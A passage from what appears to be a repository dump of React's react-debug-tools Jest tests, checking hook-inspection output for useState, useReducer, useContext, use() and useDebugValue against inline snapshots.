  \"name\": \"State\",\n              \"subHooks\": [],\n              \"value\": \"hello\",\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"useCustom\",\n                \"lineNumber\": 0,\n              },\n              \"id\": 1,\n              \"isStateEditable\": false,\n              \"name\": \"Effect\",\n              \"subHooks\": [],\n              \"value\": [Function],\n            },\n          ],\n          \"value\": undefined,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"Custom\",\n          \"subHooks\": [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"useCustom\",\n                \"lineNumber\": 0,\n              },\n              \"id\": 2,\n              \"isStateEditable\": true,\n              \"name\": \"State\",\n              \"subHooks\": [],\n              \"value\": \"world\",\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"useCustom\",\n                \"lineNumber\": 0,\n              },\n              \"id\": 3,\n              \"isStateEditable\": false,\n              \"name\": \"Effect\",\n              \"subHooks\": [],\n              \"value\": [Function],\n            },\n          ],\n          \"value\": undefined,\n        },\n      ]\n    `);\n  });\n\n  it('should inspect a tree of multiple levels of hooks', () => {\n    function effect() {}\n    function useCustom(value) {\n      const [state] = React.useReducer((s, a) => s, value);\n      React.useEffect(effect);\n      return state;\n    }\n    function useBar(value) {\n      const result = useCustom(value);\n      React.useLayoutEffect(effect);\n      return result;\n    }\n    function useBaz(value) {\n      React.useLayoutEffect(effect);\n      const result = useCustom(value);\n      return result;\n    }\n    function Foo(props) {\n      const value1 = useBar('hello');\n      const value2 = useBaz('world');\n      return (\n        <div>\n          {value1} {value2}\n        </div>\n      );\n    }\n    const tree = ReactDebugTools.inspectHooks(Foo, {});\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"Bar\",\n          \"subHooks\": [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"useBar\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"Custom\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useCustom\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 0,\n                  \"isStateEditable\": true,\n                  \"name\": \"Reducer\",\n                  \"subHooks\": [],\n                  \"value\": \"hello\",\n                },\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useCustom\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 1,\n                  \"isStateEditable\": false,\n                  \"name\": \"Effect\",\n                  \"subHooks\": [],\n                  \"value\": [Function],\n                },\n              ],\n              \"value\": undefined,\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"useBar\",\n                \"lineNumber\": 0,\n              },\n              \"id\": 2,\n              \"isStateEditable\": false,\n              \"name\": \"LayoutEffect\",\n              \"subHooks\": [],\n              \"value\": [Function],\n            },\n          ],\n          \"value\": undefined,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"Baz\",\n          \"subHooks\": [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"useBaz\",\n                \"lineNumber\": 0,\n              },\n              \"id\": 3,\n              \"isStateEditable\": false,\n              \"name\": \"LayoutEffect\",\n              \"subHooks\": [],\n              \"value\": [Function],\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"useBaz\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"Custom\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useCustom\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 4,\n                  \"isStateEditable\": true,\n                  \"name\": \"Reducer\",\n                  \"subHooks\": [],\n                  \"value\": \"world\",\n                },\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useCustom\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 5,\n                  \"isStateEditable\": false,\n                  \"name\": \"Effect\",\n                  \"subHooks\": [],\n                  \"value\": [Function],\n                },\n              ],\n              \"value\": undefined,\n            },\n          ],\n          \"value\": undefined,\n        },\n      ]\n    `);\n  });\n\n  it('should not confuse built-in hooks with custom hooks that have the same name', () => {\n    function useState(value) {\n      React.useState(value);\n      React.useDebugValue('custom useState');\n    }\n    function useFormStatus() {\n      React.useState('custom useState');\n      React.useDebugValue('custom useFormStatus');\n    }\n    function Foo(props) {\n      useFormStatus();\n      useState('Hello, Dave!');\n      return null;\n    }\n    const tree = ReactDebugTools.inspectHooks(Foo, {});\n    if (__DEV__) {\n      expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n        [\n          {\n            \"debugInfo\": null,\n            \"hookSource\": {\n              \"columnNumber\": 0,\n              \"fileName\": \"**\",\n              \"functionName\": \"Foo\",\n              \"lineNumber\": 0,\n            },\n            \"id\": null,\n            \"isStateEditable\": false,\n            \"name\": \"FormStatus\",\n            \"subHooks\": [\n              {\n                \"debugInfo\": null,\n                \"hookSource\": {\n                  \"columnNumber\": 0,\n                  \"fileName\": \"**\",\n                  \"functionName\": \"useFormStatus\",\n                  \"lineNumber\": 0,\n                },\n                \"id\": 0,\n                \"isStateEditable\": true,\n                \"name\": \"State\",\n                \"subHooks\": [],\n                \"value\": \"custom useState\",\n              },\n            ],\n            \"value\": \"custom useFormStatus\",\n          },\n          {\n            \"debugInfo\": null,\n            \"hookSource\": {\n              \"columnNumber\": 0,\n              \"fileName\": \"**\",\n              \"functionName\": \"Foo\",\n              \"lineNumber\": 0,\n            },\n            \"id\": null,\n            \"isStateEditable\": false,\n            \"name\": \"State\",\n            \"subHooks\": [\n              {\n                \"debugInfo\": null,\n                \"hookSource\": {\n                  \"columnNumber\": 0,\n                  \"fileName\": \"**\",\n                  \"functionName\": \"useState\",\n                  \"lineNumber\": 0,\n                },\n                \"id\": 1,\n                \"isStateEditable\": true,\n                \"name\": \"State\",\n                \"subHooks\": [],\n                \"value\": \"Hello, Dave!\",\n              },\n            ],\n            \"value\": \"custom useState\",\n          },\n        ]\n      `);\n    } else {\n      expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n        [\n          {\n            \"debugInfo\": null,\n            \"hookSource\": {\n              \"columnNumber\": 0,\n              \"fileName\": \"**\",\n              \"functionName\": \"Foo\",\n              \"lineNumber\": 0,\n            },\n            \"id\": null,\n            \"isStateEditable\": false,\n            \"name\": \"FormStatus\",\n            \"subHooks\": [\n              {\n                \"debugInfo\": null,\n                \"hookSource\": {\n                  \"columnNumber\": 0,\n                  \"fileName\": \"**\",\n                  \"functionName\": \"useFormStatus\",\n                  \"lineNumber\": 0,\n                },\n                \"id\": 0,\n                \"isStateEditable\": true,\n                \"name\": \"State\",\n                \"subHooks\": [],\n                \"value\": \"custom useState\",\n              },\n            ],\n            \"value\": undefined,\n          },\n          {\n            \"debugInfo\": null,\n            \"hookSource\": {\n              \"columnNumber\": 0,\n              \"fileName\": \"**\",\n              \"functionName\": \"Foo\",\n              \"lineNumber\": 0,\n            },\n            \"id\": null,\n            \"isStateEditable\": false,\n            \"name\": \"State\",\n            \"subHooks\": [\n              {\n                \"debugInfo\": null,\n                \"hookSource\": {\n                  \"columnNumber\": 0,\n                  \"fileName\": \"**\",\n                  \"functionName\": \"useState\",\n                  \"lineNumber\": 0,\n                },\n                \"id\": 1,\n                \"isStateEditable\": true,\n                \"name\": \"State\",\n                \"subHooks\": [],\n                \"value\": \"Hello, Dave!\",\n              },\n            ],\n            \"value\": undefined,\n          },\n        ]\n      `);\n    }\n  });\n\n  it('should inspect the default value using the useContext hook', () => {\n    const MyContext = React.createContext('default');\n    function Foo(props) {\n      const value = React.useContext(MyContext);\n      return <div>{value}</div>;\n    }\n    const tree = ReactDebugTools.inspectHooks(Foo, {});\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"Context\",\n          \"subHooks\": [],\n          \"value\": \"default\",\n        },\n      ]\n    `);\n  });\n\n  it('should inspect use() calls for Promise and Context', async () => {\n    const MyContext = React.createContext('hi');\n    const promise = Promise.resolve('world');\n    await promise;\n    promise.status = 'fulfilled';\n    promise.value = 'world';\n    promise._debugInfo = [{name: 'Hello'}];\n\n    function useCustom() {\n      const value = React.use(promise);\n      const [state] = React.useState(value);\n      return state;\n    }\n    function Foo(props) {\n      const value1 = React.use(MyContext);\n      const value2 = useCustom();\n      return (\n        <div>\n          {value1} {value2}\n        </div>\n      );\n    }\n    const tree = ReactDebugTools.inspectHooks(Foo, {});\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"Context\",\n          \"subHooks\": [],\n          \"value\": \"hi\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"Custom\",\n          \"subHooks\": [\n            {\n              \"debugInfo\": [\n                {\n                  \"name\": \"Hello\",\n                },\n              ],\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"useCustom\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"Use\",\n              \"subHooks\": [],\n              \"value\": \"world\",\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"useCustom\",\n                \"lineNumber\": 0,\n              },\n              \"id\": 0,\n              \"isStateEditable\": true,\n              \"name\": \"State\",\n              \"subHooks\": [],\n              \"value\": \"world\",\n            },\n          ],\n          \"value\": undefined,\n        },\n      ]\n    `);\n  });\n\n  it('should inspect use() calls for unresolved Promise', () => {\n    const promise = Promise.resolve('hi');\n\n    function Foo(props) {\n      const value = React.use(promise);\n      return <div>{value}</div>;\n    }\n    const tree = ReactDebugTools.inspectHooks(Foo, {});\n    const results = normalizeSourceLoc(tree);\n    expect(results).toHaveLength(1);\n    expect(results[0]).toMatchInlineSnapshot(\n      {\n        value: expect.any(Promise),\n      },\n      `\n      {\n        \"debugInfo\": null,\n        \"hookSource\": {\n          \"columnNumber\": 0,\n          \"fileName\": \"**\",\n          \"functionName\": \"Foo\",\n          \"lineNumber\": 0,\n        },\n        \"id\": null,\n        \"isStateEditable\": false,\n        \"name\": \"Use\",\n        \"subHooks\": [],\n        \"value\": Any<Promise>,\n      }\n    `,\n    );\n  });\n\n  it('should inspect use() calls in anonymous loops', () => {\n    function Foo({entries}) {\n      const values = Object.fromEntries(\n        Object.entries(entries).map(([key, value]) => {\n          return [key, React.use(value)];\n        }),\n      );\n      return <div>{values}</div>;\n    }\n    const tree = ReactDebugTools.inspectHooks(Foo, {\n      entries: {one: Promise.resolve('one'), two: Promise.resolve('two')},\n    });\n    const results = normalizeSourceLoc(tree);\n    expect(results).toHaveLength(1);\n    expect(results[0]).toMatchInlineSnapshot(\n      {\n        subHooks: [{value: expect.any(Promise)}],\n      },\n      `\n      {\n        \"debugInfo\": null,\n        \"hookSource\": {\n          \"columnNumber\": 0,\n          \"fileName\": \"**\",\n          \"functionName\": \"Foo\",\n          \"lineNumber\": 0,\n        },\n        \"id\": null,\n        \"isStateEditable\": false,\n        \"name\": \"\",\n        \"subHooks\": [\n          {\n            \"debugInfo\": null,\n            \"hookSource\": {\n              \"columnNumber\": 0,\n              \"fileName\": \"**\",\n              \"functionName\": null,\n              \"lineNumber\": 0,\n            },\n            \"id\": null,\n            \"isStateEditable\": false,\n            \"name\": \"Use\",\n            \"subHooks\": [],\n            \"value\": Any<Promise>,\n          },\n        ],\n        \"value\": undefined,\n      }\n    `,\n    );\n  });\n\n  describe('useDebugValue', () => {\n    it('should be ignored when called outside of a custom hook', () => {\n      function Foo(props) {\n        React.useDebugValue('this is invalid');\n        return null;\n      }\n      const tree = ReactDebugTools.inspectHooks(Foo, {});\n      expect(tree).toHaveLength(0);\n    });\n\n    it('should support an optional formatter function param', () => {\n      function useCustom() {\n        React.useDebugValue({bar: 123}, object => `bar:${object.bar}`);\n        React.useState(0);\n      }\n      function Foo(props) {\n        useCustom();\n        return null;\n      }\n      const tree = ReactDebugTools.inspectHooks(Foo, {});\n      if (__DEV__) {\n        expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n                  [\n                    {\n                      \"debugInfo\": null,\n                      \"hookSource\": {\n                        \"columnNumber\": 0,\n                        \"fileName\": \"**\",\n                        \"functionName\": \"Foo\",\n                        \"lineNumber\": 0,\n                      },\n                      \"id\": null,\n                      \"isStateEditable\": false,\n                      \"name\": \"Custom\",\n                      \"subHooks\": [\n                        {\n                          \"debugInfo\": null,\n                          \"hookSource\": {\n                            \"columnNumber\": 0,\n                            \"fileName\": \"**\",\n                            \"functionName\": \"useCustom\",\n                            \"lineNumber\": 0,\n                          },\n                          \"id\": 0,\n                          \"isStateEditable\": true,\n                          \"name\": \"State\",\n                          \"subHooks\": [],\n                          \"value\": 0,\n                        },\n                      ],\n                      \"value\": \"bar:123\",\n                    },\n                  ]\n              `);\n      } else {\n        expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n          [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Foo\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"Custom\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useCustom\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 0,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": 0,\n                },\n              ],\n              \"value\": undefined,\n            },\n          ]\n        `);\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-debug-tools/src/__tests__/ReactHooksInspectionIntegration-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactTestRenderer;\nlet ReactDebugTools;\nlet act;\nlet useMemoCache;\n\nfunction normalizeSourceLoc(tree) {\n  tree.forEach(node => {\n    if (node.hookSource) {\n      node.hookSource.fileName = '**';\n      node.hookSource.lineNumber = 0;\n      node.hookSource.columnNumber = 0;\n    }\n    normalizeSourceLoc(node.subHooks);\n  });\n  return tree;\n}\n\ndescribe('ReactHooksInspectionIntegration', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactTestRenderer = require('react-test-renderer');\n    ({act} = require('internal-test-utils'));\n    ReactDebugTools = require('react-debug-tools');\n    useMemoCache = require('react/compiler-runtime').c;\n  });\n\n  it('should inspect the current state of useState hooks', async () => {\n    const useState = React.useState;\n    function Foo(props) {\n      const [state1, setState1] = useState('hello');\n      const [state2, setState2] = useState('world');\n      return (\n        <div onMouseDown={setState1} onMouseUp={setState2}>\n          {state1} {state2}\n        </div>\n      );\n    }\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo prop=\"prop\" />, {\n        unstable_isConcurrent: true,\n      });\n    });\n\n    let childFiber = renderer.root.findByType(Foo)._currentFiber();\n    let tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": \"hello\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": \"world\",\n        },\n      ]\n    `);\n\n    const {onMouseDown: setStateA, onMouseUp: setStateB} =\n      renderer.root.findByType('div').props;\n\n    await act(() => setStateA('Hi'));\n\n    childFiber = renderer.root.findByType(Foo)._currentFiber();\n    tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": \"Hi\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": \"world\",\n        },\n      ]\n    `);\n\n    await act(() => setStateB('world!'));\n\n    childFiber = renderer.root.findByType(Foo)._currentFiber();\n    tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": \"Hi\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": \"world!\",\n        },\n      ]\n    `);\n  });\n\n  it('should inspect the current state of all stateful hooks', async () => {\n    const outsideRef = React.createRef();\n    function effect() {}\n    function Foo(props) {\n      const [state1, setState] = React.useState('a');\n      const [state2, dispatch] = React.useReducer((s, a) => a.value, 'b');\n      const ref = React.useRef('c');\n\n      React.useLayoutEffect(effect);\n      React.useEffect(effect);\n\n      React.useImperativeHandle(outsideRef, () => {\n        // Return a function so that jest treats them as non-equal.\n        return function Instance() {};\n      }, []);\n\n      React.useMemo(() => state1 + state2, [state1]);\n\n      function update() {\n        setState('A');\n        dispatch({value: 'B'});\n        ref.current = 'C';\n      }\n      const memoizedUpdate = React.useCallback(update, []);\n      return (\n        <div onClick={memoizedUpdate}>\n          {state1} {state2}\n        </div>\n      );\n    }\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo prop=\"prop\" />, {\n        unstable_isConcurrent: true,\n      });\n    });\n\n    let childFiber = renderer.root.findByType(Foo)._currentFiber();\n\n    const {onClick: updateStates} = renderer.root.findByType('div').props;\n\n    let tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": \"a\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": true,\n          \"name\": \"Reducer\",\n          \"subHooks\": [],\n          \"value\": \"b\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Ref\",\n          \"subHooks\": [],\n          \"value\": \"c\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 3,\n          \"isStateEditable\": false,\n          \"name\": \"LayoutEffect\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 4,\n          \"isStateEditable\": false,\n          \"name\": \"Effect\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 5,\n          \"isStateEditable\": false,\n          \"name\": \"ImperativeHandle\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 6,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"ab\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 7,\n          \"isStateEditable\": false,\n          \"name\": \"Callback\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n      ]\n    `);\n\n    await act(() => {\n      updateStates();\n    });\n\n    childFiber = renderer.root.findByType(Foo)._currentFiber();\n    tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": \"A\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": true,\n          \"name\": \"Reducer\",\n          \"subHooks\": [],\n          \"value\": \"B\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Ref\",\n          \"subHooks\": [],\n          \"value\": \"C\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 3,\n          \"isStateEditable\": false,\n          \"name\": \"LayoutEffect\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 4,\n          \"isStateEditable\": false,\n          \"name\": \"Effect\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 5,\n          \"isStateEditable\": false,\n          \"name\": \"ImperativeHandle\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 6,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"AB\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 7,\n          \"isStateEditable\": false,\n          \"name\": \"Callback\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n      ]\n    `);\n  });\n\n  it('should inspect the current state of all stateful hooks, including useInsertionEffect', async () => {\n    const useInsertionEffect = React.useInsertionEffect;\n    const outsideRef = React.createRef();\n    function effect() {}\n    function Foo(props) {\n      const [state1, setState] = React.useState('a');\n      const [state2, dispatch] = React.useReducer((s, a) => a.value, 'b');\n      const ref = React.useRef('c');\n\n      useInsertionEffect(effect);\n      React.useLayoutEffect(effect);\n      React.useEffect(effect);\n\n      React.useImperativeHandle(outsideRef, () => {\n        // Return a function so that jest treats them as non-equal.\n        return function Instance() {};\n      }, []);\n\n      React.useMemo(() => state1 + state2, [state1]);\n\n      async function update() {\n        setState('A');\n        dispatch({value: 'B'});\n        ref.current = 'C';\n      }\n      const memoizedUpdate = React.useCallback(update, []);\n      return (\n        <div onClick={memoizedUpdate}>\n          {state1} {state2}\n        </div>\n      );\n    }\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo prop=\"prop\" />, {\n        unstable_isConcurrent: true,\n      });\n    });\n\n    let childFiber = renderer.root.findByType(Foo)._currentFiber();\n\n    const {onClick: updateStates} = renderer.root.findByType('div').props;\n\n    let tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": \"a\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": true,\n          \"name\": \"Reducer\",\n          \"subHooks\": [],\n          \"value\": \"b\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Ref\",\n          \"subHooks\": [],\n          \"value\": \"c\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 3,\n          \"isStateEditable\": false,\n          \"name\": \"InsertionEffect\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            